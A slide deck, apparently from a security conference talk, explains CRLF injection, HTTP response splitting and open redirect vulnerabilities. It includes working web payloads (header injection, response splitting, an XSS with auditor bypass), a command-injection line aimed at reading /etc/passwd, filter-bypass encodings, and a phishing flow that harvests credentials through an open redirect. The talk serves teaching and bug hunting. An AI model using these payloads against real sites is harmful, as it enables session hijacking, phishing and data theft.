

CRLF & OpenRedirect

Newline and redirect
For WebVillage

A talk by Egor Karbutov
@ShikariSenpai





\$ Whoami

- @ShikariSenpai
- Penetration tester @ Digital Security
- Speaker
- Bug Hunter



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Security

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ORACLE®

@mail.ru




Agenda

- CRLF
- HTTP Response Splitting
- Symbols
- Tricks
- OpenRedirect
- OpenRedirect via CRLF



CRLF

- CRLF refers to the Carriage Return and Line Feed sequence of special characters.





CRLF Symbols

- Carriage return, CR - \r, 0x0D, ASCII 13, U+000D
- Line feed, LF - \n, 0x0A, ASCII 10, U+000A

A screenshot of the Notepad++ application window. The title bar reads "*new 1 - Notepad++". The menu bar includes File, Edit, Search, View, Encoding, Language, Settings, Macro, Run, TextFX, and Plugins. The toolbar contains various icons for file operations and editing. The text area shows a document with line numbers 1 through 7 on the left. The text on the lines is: 1 This, 2 is, 3 a, 4 sentence in, 5 various, 6 lines. Each word is followed by a small, dark, rectangular symbol representing a CRLF (Carriage Return Line Feed) character. The line numbers are 1, 2, 3, 4, 5, 6, and 7. The text is "This", "is", "a", "sentence in", "various", "lines". Each word is followed by a small, dark, rectangular symbol representing a CRLF character.



OS CRLF

- LF - Multics, Unix and Unix-like systems, BeOS, Amiga, RISC OS, and others
- CR+LF - Microsoft Windows, DOS , DEC TOPS-10, RT-11, CP/M, MP/M, Atari TOS, OS/2, Symbian OS, Palm OS, Amstrad CPC, and most other early non-Unix and non-IBM operating systems
- CR - Commodore 8-bit machines, Acorn BBC, ZX Spectrum, TRS-80, Apple II family, Oberon, the classic Mac OS,
- LF+CR: Acorn BBC and RISC OS spooled text output.



Protocols CRLF

- Most textual Internet protocols (including HTTP, SMTP, FTP, IRC, and many others) mandate the use of ASCII CR+LF ('\r\n', 0x0D 0x0A) on the protocol level



HTTP CRLF

```
GET / HTTP/1.1\r\n
Host: www.google.com\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-EN,ru;q=0.8,en-US;q=0.5,en;q=0.3\r\n
Accept-Encoding: gzip, deflate\r\n
Cookie: ~~~~\r\n
Connection: close\r\n
```

```
HTTP/1.1 200 OK\r\n
Date: Wed, 08 Nov 2017 13:03:30 GMT\r\n
Cache-Control: private, max-age=0\r\n
Content-Type: text/html; charset=UTF-8\r\n
X-XSS-Protection: 1; mode=block\r\n
X-Frame-Options: SAMEORIGIN\r\n
Set-Cookie: ~~~~\r\n
Connection: close\r\n
Content-Length: 193211\r\n\r\n
<!doctype html><html itemscope="x" itemtype="http://schema.org/WebPage" lang="ru"><head><meta content="Google"
```



HTTP CRLF

```
POST / HTTP/1.1\r\n
Host: play.google.com\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: */*\r\n
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\r\n
Accept-Encoding: gzip, deflate\r\n
Referer: ~~~~~\r\n
Content-Type: application/x-www-form-urlencoded;charset=utf-8\r\n
Content-Length: 664\r\n
Origin: https://play.google.com\r\n
Cookie: ~~~~\r\n\r\n
[[1,null,null,null,null,null,null,null,["ru","firefox","56.0"],null,[null,"10.0",3,null,null,2]]
```



CRLF is vulnerability

Response

```
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
```

Response

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
```



Vulnerability

- Lead to:
 - RCE
 - XSS
 - Session Fixation
 - Open Redirect



RCE

- OS command concat bypass
 - Curl <address> **INJECTION**
- If we can't use ; ` | > <, CRLF can help...maybe
 - Curl <addres>\r\nncat etc/passwd
- In mail protocols we can concat another commands or mail recipient



How to search?

- Request-URI = "*" | absoluteURI | **abs_path** | authority
- abs_path = "/" [path] ["/" path_info] [";" params] ["?" query_string]
- <https://google.com/profile/password;password?a=b>
- What are we looking for?
 - Redirect response - 30* HTTP status codes
 - Response with Set Cooke header
 - Non-standard behaviour (input user data in response headers)



Requests

```
GET /redir.php?url=http://www.google.com HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
```

```
HTTP/1.1 302 Found
Date: Tue, 23 Aug 2011 17:52:17 GMT
Server: Apache/1.3.33 (Win32) PHP/5.0.2
X-Powered-By: PHP/5.0.2
Location: http://www.google.com
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
```

```
GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
```



HTTP Response Splitting

- CRLF = HTTP Response Splitting
- Add in TCP Session new response (Usually 200 HTTP Status Code)



HTTP Response Splitting

```
GET /redir.php?url=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Ccenter%3E%3Ch1%3EHacked%3C/h1%3E%3C/center%3E HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
```



HTTP Response Splitting

```
HTTP/1.1 302 Found
Date: Tue, 23 Aug 2011 18:49:08 GMT
Server: Apache/1.3.33 (Win32) PHP/5.0.2
X-Powered-By: PHP/5.0.2
Location:
Content-Type: text/html
```

```
HTTP/1.1 200 OK
Content-Type: text/html
```

```
<center><h1>Hacked</h1></center>
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
```



XSS + Auditor Bypass

Request

```
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0
%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a%0d%0a/%2f%2e%2e
```

Response

```
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]>
Content-Length:35
X-XSS-Protection:0

23
<svg onload=alert(document.domain)>
0
```



Tricks. №1 - Normalization

- We have so many HTTP Servers, Operation Systems, Programming languages
- You may use only \r or \n
- LF -> CR+LF
- CR -> CR+LF
- %0a -> %0d%0a
- %0d -> %0d%0a
- etc
- CR+LF = only one newline



Tricks. №2 - Encoding

- Use different encodings
- Encoded symbols
 - `\r\n`
- URL Encode
 - `%0d%0a`
- ASCII Symbols
 - `0x0D0x0A`
- UTF-8
 - `%E5%98%8A = %0A = \u560a`
 - `%E5%98%8D = %0D = \u560d`



Twitter CRLF

[illegible]


@filedescriptor

<https://blog.innerht.ml/page/8/>



Open Redirect

- An Open Redirection is when a web application or server uses a user submitted link to redirect the user to a given website or page



Two blue arrows originate from the definition text above. One arrow points diagonally down and to the left towards the text 'Like CRLF'. The other arrow points diagonally down and to the right towards the text 'Backend functionality'.

Like CRLF

Backend functionality



Backend functionality

- <http://example.test/?redirect=https://hacker.test/>
- Tricks with formats:
 - <http://3627734734> = [google.com](http://3627734734)
 - <http://0xd83ad6ce> = [google.com](http://0xd83ad6ce)
 - <http://0330.072.0326.0316> = [google.com](http://0330.072.0326.0316)
- Address representations
<https://en.wikipedia.org/wiki/IPv4>



Like CRFL

- `///host.com` is parsed as relative-path URL by server side libraries, but Chrome and Firefox violate RFC and load `http://host.com` instead, creating open-redirect vulnerability for library-based URL validations
- Location: `///google.com` = Location: `https://google.com`



XSS

- Request-URI = "*" | absoluteURI | **abs_path** | authority
- abs_path = "/" [path] ["/" path_info] [";" params] ["?" query_string]
- <https://google.com/profile/password;password?a=b>
- What are we looking for?
 - Redirect response - 30* HTTP status codes
 - Response with Set Cooke header
 - Non-standard behaviour (input user data in response headers)



Like CRLF

Request

GET ///google.com HTTP/1.1

Host: example.test

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: ~~~~~

Connection: close

Upgrade-Insecure-Requests: 1

Response

HTTP/1.1 302 Found

Date: Tue, 10 Oct 2017 13:16:20 GMT

Server: nginx

Location: //google.com

Content-Length: 228

Connection: close

Content-Type: text/html



Test-Test

- //host.com
- ///host.com
- /\host.com
- URL encoded symbols
 - . = %2E
 - / = %2F
- URL encoded nonprinting characters
 - Horizontal tab = %09
- Abuse RFC symbols
 - @:/.



Redirect 80 -> 443 port

Request

GET /.google.com HTTP/1.1

Host: example.test

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: ~~~~~

Connection: close

Upgrade-Insecure-Requests: 1

Response

HTTP/1.1 302 Found

Date: Tue, 10 Oct 2017 13:16:20 GMT

Server: nginx

Location: https://example.test.google.com

Content-Length: 228

Connection: close

Content-Type: text/html



Exploitation

- Fishing attacks
- XSS
- Browser vulnerability (UXSS, SOP Bypass, etc)
- Web vulnerability on sites (like CSRF, XSS, etc)
- Library vulnerability (OAuth, jQuery maybe)



Fishing

Service

A screenshot of a legitimate Facebook login page. It has a white background with the text 'Log in to Facebook' at the top. Below this are two input fields: 'Email address or phone number' and 'Password'. A blue 'Log In' button is positioned below the password field. Underneath the button is a link that says 'or' followed by a green 'Create New Account' button. At the bottom, there is a link for 'Forgotten account?'.

<https://service.test/redirect=https://fish.service.test/login>

Fishing Service

A screenshot of a fake Facebook login page, identical to the legitimate one but with a large red 'FAKE' stamp diagonally across the center. The stamp is in a bold, sans-serif font. The background is white, and the text and buttons are the same as the legitimate page.

Grab user
credential

Redirect <https://service.test/profile>




Old XSS

Service

A screenshot of a Facebook login form. It has a white background with a blue header 'Log in to Facebook'. Below the header are two input fields: 'Email address or phone number' and 'Password'. A blue 'Log In' button is below the password field. Below the button is a horizontal line with the word 'or' in the center. Below the line is a green 'Create New Account' button. At the bottom, there is a link 'Forgotten account?'.

[https://service.test/udir=javascript:alert\(1\);](https://service.test/udir=javascript:alert(1);)

javascript:alert(1);



javascript have
origin = https://service.test/

Redirect to JS scheme is not supported by any one browsers
You can use «data» scheme, but Google and Opera don't support this scheme
Data scheme have origin = <about:blank> (without cookie)



@Black2Fan
inline script

Twitter XSS

Request	Location header	Link on page	Comment
//xxx/	http://dev.twitter.com/xxx	xxx	Entry point
/http:site.com/	http://dev.twitter.com/site.com	http:site.com	
/https:site.com/	https:site.com	https:site.com	http://dev.twitter.com - base URL. https: - protocol change, so the Location URL is absolute.
/javascript:alert(1)/	javascript:alert(1)	javascript:alert(1)	XSS in the body. But redirect to javascript: will be blocked by the browser.
/https:%5cblackfan.ru/	https:\blackfan.ru	https:\blackfan.ru	Open Redirect
/aa://bb/cc/	/aa://dev.twitter.com/cc	cc	Interesting. Let's try to merge Open Redirect and XSS.
/aa://bb/javascript:l1l1/	/aa://dev.twitter.com/javascript:l1l1	javascript:l1l1	Very close
/aa://bb/javascript:alert(1)/	javascript:alert(1)	javascript:alert(1)	WTF, Location header!
/aa://bb/javascript:222/	/aa://dev.twitter.com/javascript:222	javascript:222	
/aa://bb/javascript:xxx/	javascript:xxx	javascript:xxx	It looks like I can only use numbers (host:port?)
/aa://bb/!javascript:xxx/	/aa://dev.twitter.com/!javascript:xxx	!javascript:xxx	But if I put an invalid scheme, everything is fine. shazzer: Characters before javascript uri
/aa://bb/%01javascript:xxx/	/aa://dev.twitter.com/■javascript:xxx	■javascript:xxx	Nice
//aa:1//bb/%01javascript:xxx/	aa:1//bb/■javascript:xxx	aa:1//bb/■javascript:xxx	Oh, come on
//aa:1:////%01javascript:xxx/	//aa:1:////dev.twitter.com/■xxx	■javascript:xxx	And finally

<http://blog.blackfan.ru/2017/09/devtwittercom-xss.html>

www.zeronights.org
#zeronights



Useful links

- CRLF


- <https://prakharprasad.com/crlf-injection-http-response-splitting-explained/>
- <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20injection>
- <https://xakep.ru/2004/09/30/24084/> («Вопреки фильтрам»)

- CRLF Bugbounty

- <https://habrahabr.ru/company/pt/blog/247709/>
- <https://hackerone.com/reports/53843>
- <https://blog.innerht.ml/page/8/>

- OpenRedirect

- <http://blog.blackfan.ru/2017/09/devtwittercom-xss.html>
- <http://homakov.blogspot.ru/2014/01/evolution-of-open-redirect-vulnerability.html>



@ShikariSenpai

Questions?